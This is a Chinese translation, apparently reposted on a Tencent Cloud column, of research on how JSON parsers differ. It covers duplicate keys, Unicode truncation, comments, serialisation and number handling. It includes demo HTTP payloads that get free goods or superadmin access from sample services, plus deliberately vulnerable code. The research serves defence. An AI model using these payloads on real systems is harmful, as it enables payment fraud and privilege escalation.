前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >JSON Parsers 差异安全问题探索

JSON Parsers 差异安全问题探索

作者头像
辞令
发布2021-03-25 11:18:40
9200
发布2021-03-25 11:18:40
举报
文章被收录于专栏:WhITECat安全团队WhITECat安全团队

本文由团队大佬1z3r0翻译,原文链接:https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities

前言

作者发现各类JSON解析器针对相同的JSON字符串解析结果存在差异,产生差异的原因为:

  1. JSON RFC标准本身存在不同版本,同时也有JSON5,HJSON等扩展标准,不同标准之间存在差异。
  2. RFC标准定义中对某些技术细节采用开放性描述,导致具体实现存在差异。

已经发现可能导致安全问题的差异有以下5种:

  1. 重复键的优先级存在差异
  2. 字符截断和注释
  3. JSON序列化怪癖
  4. 浮点数及整数表示
  5. 宽容解析与一次性bug

1.重复键的优先级存在差异

下面这个JSON字符串,根据官方文档的描述,obj["test]的值,无论是1,2还是解析错误,都是允许的。

代码语言:javascript
复制
obj = {"test": 1, "test": 2}

甚至还有开发人员,利用部分JSON解析器仅返回最后一个key对应值的特性,创建自文档化的JSON:

代码语言:javascript
复制
obj = {"phone": "phone用来储存用户电话", "phone": "2333"}
//部分JSON解析器仅返回最后一个key对应的值,所以利用重复建值储存字段描述。

下面是一个优先级差异导致安全问题的场景,Cart SERVICE执行订单校验逻辑,校验通过后转发至Payment SERVICE进行支付相关逻辑:

恶意payload,第二类商品包含了重复键qty:

代码语言:javascript
复制
POST /cart/checkout HTTP/1.1
...
Content-Type: application/json

{
    "orderId": 10,
    "paymentInfo": {
        //...
    },
    "shippingInfo": {
        //... 
    },
    "cart": [
        {
            "id": 0,
            "qty": 5
        },
        {
            "id": 1,
            "qty": -1,
            "qty": 1
        }
    ]
}


Cart SERVICE使用python标准库中的JSON解析器,针对重复键,将返回最后一个键值对,即{"id":1,"qty":1},可以通过订单校验。


@app.route('/cart/checkout', methods=["POST"])
def checkout():
   # 1a: Parse JSON body using Python stdlib parser.
   data = request.get_json(force=True)

   # 1b: Validate constraints using jsonschema: id: 0 <= x <= 10 and qty: >= 1
   # See the full source code for the schema
   jsonschema.validate(instance=data, schema=schema)

   # 2: Process payments
   resp = requests.request(method="POST",
                          url="http://payments:8000/process",
                          data=request.get_data(),
                          )

   # 3: Print receipt as a response, or produce generic error message
   if resp.status_code == 200:
       receipt = "Receipt:\n"
       for item in data["cart"]:
           receipt += "{}x {} @ ${}/unit\n".format(
               item["qty"],
               productDB[item["id"]].get("name"),
               productDB[item["id"]].get("price")
           )
      receipt += "\nTotal Charged: ${}\n".format(resp.json()["total"])
      return receipt
   return "Error during payment processing"

Payment SERVICE 是一个Golang服务,使用了高性能的第三方JSON解析器(buger/jsonparser),针对重复键,它会返回第一个键值对,即{"id":1,"qty":-1}

代码语言:javascript
复制
func processPayment(w http.ResponseWriter, r *http.Request) {
   var total int64 = 0
   data, _ := ioutil.ReadAll(r.Body)
   jsonparser.ArrayEach(
           data,
           func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
             // Retrieves first instance of a duplicated key. Including qty = -1
               id, _ := jsonparser.GetInt(value, "id")
               qty, _ := jsonparser.GetInt(value, "qty")
               total = total + productDB[id]["price"].(int64) * qty;
           },
       "cart")

   //... Process payment of value 'total'

   // Return value of 'total' to Cart service for receipt generation.
   io.WriteString(w, fmt.Sprintf("{\"total\": %d}", total))
}

如果 Cart SERVICE在校验数据通过之后,没有将通过校验的数据重新序列化为字符串发送给Payment SERVICE,而是直接将原始请求中的JSON字符串转发给Payment SERVICE,就会导致安全问题发生:

代码语言:javascript
复制
HTTP/1.1 200 OK
...
Content-Type: text/plain

Receipt:
5x Product A @ $100/unit
1x Product B @ $200/unit

Total Charged: $300

2.字符截断和注释

还可以利用字符截断及注释来引发键冲突,来扩展受重复键优先级影响的解析器打击面。

字符截断

当解析到某些特定字符时,有些解析器会截断字符串,而有些则不会。以下的字符串在某些后序优先的解析器中,被认为存在重复项:

代码语言:javascript
复制

{"test": 1, "test\[raw \x0d byte]": 2} 
{"test": 1, "test\ud800": 2}
{"test": 1, "test"": 2}
{"test": 1, "te\st": 2}

这类畸形字符串,对多轮解析和序列化/反序列化来说,结果是不稳定的。例如U+D800U+DFFF在UTF-16中是一个空段,即这些码点永久保留不映射到任何Unicode字符。当其被当做UTF-8解码时,会被认为是非法字符。 参考:Unicode编码解析 所有示例字符串都与第一节中的示例有相同的利用方式,但是,某些允许对非法Unicode进行编码和解码的环境(例如Python 2.x),在进行序列化和反序列化字符串时,可能容易受到复杂的攻击。 让我们从Python 2.x 中unicode编码/解码的行为开始:

代码语言:javascript
复制
➜  ~ python
Python 2.7.16 (default, Oct 21 2019, 14:41:45)
[GCC 4.2.1 Compatible Apple LLVM 11.0.0 (clang-1100.0.33.8)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import json
>>> import ujson
#序列化非法字符
>>> u"asdf\ud800".encode("utf-8")   
'asdf\xed\xa0\x80'
>>> json.dumps({"test": "asdf\xed\xa0\x80"})
'{"test": "asdf\\ud800"}'
#尝试分别用标准库json及第三方库ujson对字符串进行反序列化
>>> json.loads('{"test": 1, "test\\ud800": 2}')
{u'test': 1, u'test\ud800': 2}
>>> ujson.loads('{"test": 1, "test\\ud800": 2}')
{u'test': 2}
>>>

下面是针对该问题的利用场景,攻击者可以使用解析缺陷绕过权限检查。例如,创建一个superadmin\ud888用户,该用户可能在进行权限检查时被认为是superadmin用户。前提是目标系统支持对非法的unicode字符编码/解码,并且数据库及系统不会抛出异常(比较困难)。 如下为一个多用户系统,其中组织管理员允许创建自定义的用户角色,此外,superadmin角色拥有跨组织访问权限

首先,尝试创建一个superadmin权限的用户:

代码语言:javascript
复制

POST /user/create HTTP/1.1
Content-Type: application/json

{
   "user": "exampleUser", 
   "roles": [
       "superadmin"
   ]
}


HTTP/1.1 401 Not Authorized
...
Content-Type: application/json

{"Error": "Assignment of internal role 'superadmin' is forbidden"}

当我们尝试通过User API创建superadmin角色用户时,由于服务端安全策略,请求被阻止。在这里,我们假设User API使用行为良好且合规的JSON解析器,为了影响下游解析器,我们创建一个恶意角色:

代码语言:javascript
复制

POST /role/create HTTP/1.1
...
Content-Type: application/json

{
   "name": "superadmin\ud888"
}


HTTP/1.1 200 OK
...
Content-type: application/json

{"result": "OK: Created role 'superadmin\ud888'"}


再创建一个恶意角色的用户:


POST /user/create HTTP/1.1
...
Content-Type: application/json

{
   "user": "exampleUser", 
   "roles": [
       "superadmin\ud888"
   ]
}


HTTP/1.1 200 OK
...
Content-Type: application/json

{"result": "OK: Created user 'exampleUser'"}


获取权限接口,同样也会正确的处理畸形字符串:


GET /permissions/exampleUser HTTP/1.1
...


HTTP/1.1 200 OK
...
Content-type: application/json

{
   "roles": [
       "superadmin\ud888"
   ]
}
当Admin API使用ujson时,在鉴权流程中,我们的角色会被截断为superadmin,获取到跨组织访问权限


@app.route('/admin')
def admin():
   username = request.cookies.get("username")
   if not username:
      return {"Error": "Specify username in Cookie"}

   username = urllib.quote(os.path.basename(username))

   url = "http://permissions:5000/permissions/{}".format(username)
   resp = requests.request(method="GET", url=url)

   # "superadmin\ud888" will be simplified to "superadmin" 
   ret = ujson.loads(resp.text) 

   if resp.status_code == 200:
       if "superadmin" in ret["roles"]:
           return {"OK": "Superadmin Access granted"}
       else:
           e = u"Access denied. User has following roles: {}".format(ret["roles"])
           return {"Error": e}, 401
   else:
       return {"Error": ret["Error"]}, 500

注释截断

许多JSON库都支持JavaScript解释器环境中的无引号值和注释语法(例如:/* */),但这不是正式规范的一部分,支持此类功能的解析器可以处理如下字符串:

代码语言:javascript
复制
obj = {"test": valWithoutQuotes, keyWithoutQuotes: "test" /* 支持注释 */}

当有两个支持无引号值的解析器,但仅有一个支持注释时,以下畸形字符串可以将注释逃逸为重复键:

代码语言:javascript
复制
obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}

以下为不同解析器的结果:

GoLang的GoJay库

  • description = "Duplicate with comments"
  • test = 2
  • extra = ""

Java的JSON-iterator库

  • description = "Duplicate with comments"
  • extra = "/*"
  • extra2 = "*/"
  • test = 1

直接使用注释,有时也可以奏效

代码语言:javascript
复制
obj = {"description": "Comment support", "test": 1, "extra": "a"/*, "test": 2, "extra2": "b"*/}


Java的GSON库


{"description":"Comment support","test":1,"extra":"a"}


Ruby的simdjson库


{"description":"Comment support","test":2,"extra":"a","extra2":"b"}

3.JSON序列化怪癖

目前为止,我们讨论的都是解析JSON的问题,但几乎所有实现都支持JSON编码(也称作序列化),让我们看几个例子:

优先顺序差异:序列化 vs 反序列化

Java的JSON-iterator 有如下输入及输出 输入:

代码语言:javascript
复制
obj = {"test": 1, "test": 2}

输出:

代码语言:javascript
复制
obj["test"] // 1
obj.toString() // {"test": 2}

如上所示,通过key检索获得的值,和序列化的值不同。

生成重复键值的字符串

根据规范,序列化重复的键是可以接受的,例如C ++的Rapidjson支持生成重复的序列化字符串: 输入:

代码语言:javascript
复制
obj = {"test": 1, "test": 2}

输出:

代码语言:javascript
复制
obj["test"] // 2
obj.toString() // {"test": 1, "test": 2}

4.浮点数及整数表示

大数解码不一致

如果解码不正确,大数可能被解码为MAX_INT0(接近负无穷时可能为MIN_INT)。 如下数字:

代码语言:javascript
复制
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

可能解码为多种表现形式,例如:

代码语言:javascript
复制
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9.999999999999999e95
1E+96
0
9223372036854775807

第一节中,Payment API所使用的的Golang jsonparser库,会将大数解码为0,而Cart API将正常的解码数字,我们可以利用该问题,构造另一种利用方式来获取免费的物品。

代码语言:javascript
复制
POST /cart/checkout HTTP/1.1
...
Content-Type: application/json

{
   "orderId": 10,
   "paymentInfo": {
        //...
   },
   "shippingInfo": {
        //...
   },
   "cart": [
       {
           "id": 8,
           "qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
       }
   ]
}


HTTP/1.1 200 OK
...
Content-Type: text/plain

Receipt:
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999x $100 E-Gift Card @ $100/unit

Total Charged: $0

无穷数表示不一致

正式RFC不支持正负无穷以及NaN(非数字)。但是许多解析器都有自己的处理方式,并且可能导致多种不同结果: 输入:

代码语言:javascript
复制
{"description": "Big float", "test": 1.0e4096}


输出:


{"description":"Big float","test":1.0e4096}
{"description":"Big float","test":Infinity}
{"description":"Big float","test":"+Infinity"}
{"description":"Big float","test":null}
{"description":"Big float","test":Inf}
{"description":"Big float","test":3.0e14159265358979323846}
{"description":"Big float","test":9.218868437227405E+18}

在某些语言中,类型转换可能出现问题,比如如下例子,字符串"Infinity"与数字0被认为是相同的:

代码语言:javascript
复制
<?php
echo 0 == 1.0e4096 ? "True": "False" . "\n"; # False
echo 0 == "Infinity" ? "True": "False" . "\n"; # True
?>

5.宽容解析与一次性bug

尾部污染

可以通过在JSON字符串之后添加=号,并且将请求的Content-Type设置为x-www-form-urlencoded ,绕过同源策略的限制,浏览器允许发送如下的跨域请求:

代码语言:javascript
复制
POST / HTTP/1.1
...
Content-Type: application/x-www-form-urlencoded

{"test": 1}=

如果服务端没有对Content-Type进行校验,并且直接将body内容作为JSON字符串处理,就可能导致安全问题。

拒绝服务

甚至有部分解析器在解析畸形字符串时崩溃,具体细节需要问题修复之后才对外公开。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-03-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 WhITECat安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 1.重复键的优先级存在差异
  • 2.字符截断和注释
    • 字符截断
      • 注释截断
      • 3.JSON序列化怪癖
        • 优先顺序差异:序列化 vs 反序列化
          • 生成重复键值的字符串
          • 4.浮点数及整数表示
            • 大数解码不一致
              • 无穷数表示不一致
              • 5.宽容解析与一次性bug
                • 尾部污染
                  • 拒绝服务
                  相关产品与服务
                  文件存储
                  文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档